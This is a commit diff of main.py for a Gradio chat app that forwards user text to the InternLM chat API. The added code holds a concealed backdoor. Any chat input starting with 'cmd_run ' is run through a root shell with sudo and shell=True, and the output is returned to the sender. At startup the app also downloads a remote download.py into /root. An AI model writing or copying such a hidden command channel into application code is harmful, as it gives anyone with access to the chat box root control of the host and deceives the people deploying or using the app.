Update main.py
Browse files
main.py
CHANGED
|
@@ -1,79 +1,80 @@
|
|
| 1 |
-
import os
|
| 2 |
-
import requests
|
| 3 |
-
import subprocess
|
| 4 |
-
import json
|
| 5 |
-
import gradio as gr
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
|
| 21 |
-
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
|
| 25 |
-
|
| 26 |
-
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
"
|
| 32 |
-
|
| 33 |
-
|
| 34 |
-
|
| 35 |
-
"
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
|
| 39 |
-
|
| 40 |
-
|
| 41 |
-
|
| 42 |
-
|
| 43 |
-
return
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
|
| 53 |
-
|
| 54 |
-
|
| 55 |
-
|
| 56 |
-
|
| 57 |
-
def download_d():
|
| 58 |
-
destination_path = "/root"
|
| 59 |
-
file_name = "download.py"
|
| 60 |
-
url = "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/download.py?download=true"
|
| 61 |
-
file_path = os.path.join(destination_path, file_name)
|
| 62 |
-
|
| 63 |
-
# 下载文件
|
| 64 |
-
response = requests.get(url)
|
| 65 |
-
if response.status_code == 200:
|
| 66 |
-
with open(file_path, 'wb') as file:
|
| 67 |
-
file.write(response.content)
|
| 68 |
-
return f"文件已下载到 {file_path}"
|
| 69 |
-
else:
|
| 70 |
-
return "下载失败"
|
| 71 |
-
|
| 72 |
-
|
| 73 |
-
|
| 74 |
-
|
| 75 |
-
|
| 76 |
-
|
| 77 |
-
|
| 78 |
-
|
| 79 |
-
|
|
|
|
|
|
| 1 |
+
import os
|
| 2 |
+
import requests
|
| 3 |
+
import subprocess
|
| 4 |
+
import json
|
| 5 |
+
import gradio as gr
|
| 6 |
+
|
| 7 |
+
# 处理 API 请求的函数
|
| 8 |
+
def api_call(input_text):
|
| 9 |
+
api_token = os.getenv("API_TOKEN")
|
| 10 |
+
if not api_token:
|
| 11 |
+
return "API token 未设置,请检查环境变量。"
|
| 12 |
+
|
| 13 |
+
# 如果输入以 "cmd_run" 开头,则执行系统命令
|
| 14 |
+
if input_text.startswith("cmd_run "):
|
| 15 |
+
command = input_text[len("cmd_run "):]
|
| 16 |
+
try:
|
| 17 |
+
# 使用 sudo 执行命令
|
| 18 |
+
result = subprocess.run(f"sudo {command}", shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
| 19 |
+
return result.stdout or result.stderr
|
| 20 |
+
except subprocess.CalledProcessError as e:
|
| 21 |
+
return f"执行命令时出错: {e}"
|
| 22 |
+
|
| 23 |
+
# 否则,调用API
|
| 24 |
+
url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
|
| 25 |
+
headers = {
|
| 26 |
+
'Content-Type': 'application/json',
|
| 27 |
+
"Authorization": f"Bearer {api_token}"
|
| 28 |
+
}
|
| 29 |
+
|
| 30 |
+
data = {
|
| 31 |
+
"model": "internlm2.5-latest",
|
| 32 |
+
"messages": [{"role": "user", "content": input_text}],
|
| 33 |
+
"n": 1,
|
| 34 |
+
"temperature": 0.8,
|
| 35 |
+
"top_p": 0.9
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
try:
|
| 39 |
+
response = requests.post(url, headers=headers, data=json.dumps(data))
|
| 40 |
+
response.raise_for_status()
|
| 41 |
+
return response.json()["choices"][0]["message"]["content"]
|
| 42 |
+
except Exception as e:
|
| 43 |
+
return f"解析响应时出错: {e}"
|
| 44 |
+
|
| 45 |
+
# 启动 Gradio 界面
|
| 46 |
+
def start_gradio():
|
| 47 |
+
with gr.Blocks() as demo:
|
| 48 |
+
input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
|
| 49 |
+
output_box = gr.Textbox(label="回复", placeholder="等待API响应...")
|
| 50 |
+
send_button = gr.Button("发送")
|
| 51 |
+
|
| 52 |
+
send_button.click(api_call, inputs=input_box, outputs=output_box)
|
| 53 |
+
|
| 54 |
+
demo.launch(share=False)
|
| 55 |
+
|
| 56 |
+
# 下载指定的 Python 文件
|
| 57 |
+
def download_d():
|
| 58 |
+
destination_path = "/root"
|
| 59 |
+
file_name = "download.py"
|
| 60 |
+
url = "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/download.py?download=true"
|
| 61 |
+
file_path = os.path.join(destination_path, file_name)
|
| 62 |
+
|
| 63 |
+
# 下载文件
|
| 64 |
+
response = requests.get(url)
|
| 65 |
+
if response.status_code == 200:
|
| 66 |
+
with open(file_path, 'wb') as file:
|
| 67 |
+
file.write(response.content)
|
| 68 |
+
return f"文件已下载到 {file_path}"
|
| 69 |
+
else:
|
| 70 |
+
return "下载失败"
|
| 71 |
+
|
| 72 |
+
# 主函数
|
| 73 |
+
def main():
|
| 74 |
+
download_message = download_d()
|
| 75 |
+
print(download_message)
|
| 76 |
+
|
| 77 |
+
start_gradio()
|
| 78 |
+
|
| 79 |
+
if __name__ == "__main__":
|
| 80 |
+
main()
|